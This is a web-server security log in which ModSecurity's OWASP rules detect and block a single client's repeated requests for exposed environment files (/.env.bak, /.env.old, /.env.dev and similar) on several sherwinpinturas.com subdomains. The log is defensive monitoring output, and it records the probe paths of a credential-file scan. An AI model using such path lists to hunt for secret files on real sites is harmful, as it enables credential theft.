[Sun Oct 25 02:18:50.775219 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fSnqPPT_6tJCMTRvt6QAAAAs"]
[Sun Oct 25 02:18:50.861855 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSlyqe9jgJ5nfJHB7QAAAAAo"]
[Sun Oct 25 02:18:50.862157 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSlyqe9jgJ5nfJHB7QAAAAAo"]
[Sun Oct 25 02:18:50.862440 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSlyqe9jgJ5nfJHB7QAAAAAo"]
[Sun Oct 25 02:18:50.888089 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fSlTnwNJm6o1fQZIhOQAAAAI"]
[Sun Oct 25 02:18:50.888491 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fSlTnwNJm6o1fQZIhOQAAAAI"]
[Sun Oct 25 02:18:50.889078 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fSlTnwNJm6o1fQZIhOQAAAAI"]
[Sun Oct 25 02:18:50.894848 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.83.23.103:25373] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:18:50.992602 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fSnqPPT_6tJCMTRvt6gAAAAs"]
[Sun Oct 25 02:18:50.992910 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fSnqPPT_6tJCMTRvt6gAAAAs"]
[Sun Oct 25 02:18:50.993332 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fSnqPPT_6tJCMTRvt6gAAAAs"]
[Sun Oct 25 02:18:51.080752 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fS1yqe9jgJ5nfJHB7QQAAAAo"]
[Sun Oct 25 02:18:51.081025 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fS1yqe9jgJ5nfJHB7QQAAAAo"]
[Sun Oct 25 02:18:51.081419 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fS1yqe9jgJ5nfJHB7QQAAAAo"]
[Sun Oct 25 02:18:51.135865 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS1TnwNJm6o1fQZIhOgAAAAI"]
[Sun Oct 25 02:18:51.136181 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS1TnwNJm6o1fQZIhOgAAAAI"]
[Sun Oct 25 02:18:51.136570 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS1TnwNJm6o1fQZIhOgAAAAI"]
[Sun Oct 25 02:18:51.227753 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS3qPPT_6tJCMTRvt6wAAAAs"]
[Sun Oct 25 02:18:51.263858 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS3qPPT_6tJCMTRvt6wAAAAs"]
[Sun Oct 25 02:18:51.264279 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS3qPPT_6tJCMTRvt6wAAAAs"]
[Sun Oct 25 02:18:51.315141 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fS1yqe9jgJ5nfJHB7QgAAAAo"]
[Sun Oct 25 02:18:51.315446 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fS1yqe9jgJ5nfJHB7QgAAAAo"]
[Sun Oct 25 02:18:51.315866 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at2fS1yqe9jgJ5nfJHB7QgAAAAo"]
[Sun Oct 25 02:18:51.422631 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS1TnwNJm6o1fQZIhOwAAAAI"]
[Sun Oct 25 02:18:51.422982 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS1TnwNJm6o1fQZIhOwAAAAI"]
[Sun Oct 25 02:18:51.423411 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS1TnwNJm6o1fQZIhOwAAAAI"]
[Sun Oct 25 02:18:51.485529 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS3qPPT_6tJCMTRvt7AAAAAs"]
[Sun Oct 25 02:18:51.485854 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS3qPPT_6tJCMTRvt7AAAAAs"]
[Sun Oct 25 02:18:51.486294 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at2fS3qPPT_6tJCMTRvt7AAAAAs"]
[Sun Oct 25 02:18:51.595473 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS1yqe9jgJ5nfJHB7QwAAAAo"]
[Sun Oct 25 02:18:51.595752 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS1yqe9jgJ5nfJHB7QwAAAAo"]
[Sun Oct 25 02:18:51.596135 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at2fS1yqe9jgJ5nfJHB7QwAAAAo"]
[Sun Oct 25 02:18:51.641012 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fS1TnwNJm6o1fQZIhPAAAAAI"]
[Sun Oct 25 02:18:51.641402 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fS1TnwNJm6o1fQZIhPAAAAAI"]
[Sun Oct 25 02:18:51.641937 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fS1TnwNJm6o1fQZIhPAAAAAI"]
[Sun Oct 25 02:18:51.730701 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fS3qPPT_6tJCMTRvt7QAAAAs"]
[Sun Oct 25 02:18:51.730998 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fS3qPPT_6tJCMTRvt7QAAAAs"]
[Sun Oct 25 02:18:51.731397 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at2fS3qPPT_6tJCMTRvt7QAAAAs"]
[Sun Oct 25 02:18:51.855934 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fS1TnwNJm6o1fQZIhPQAAAAI"]
[Sun Oct 25 02:18:51.856231 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at2fS1TnwNJm6o1fQZIhPQAAAAI"]
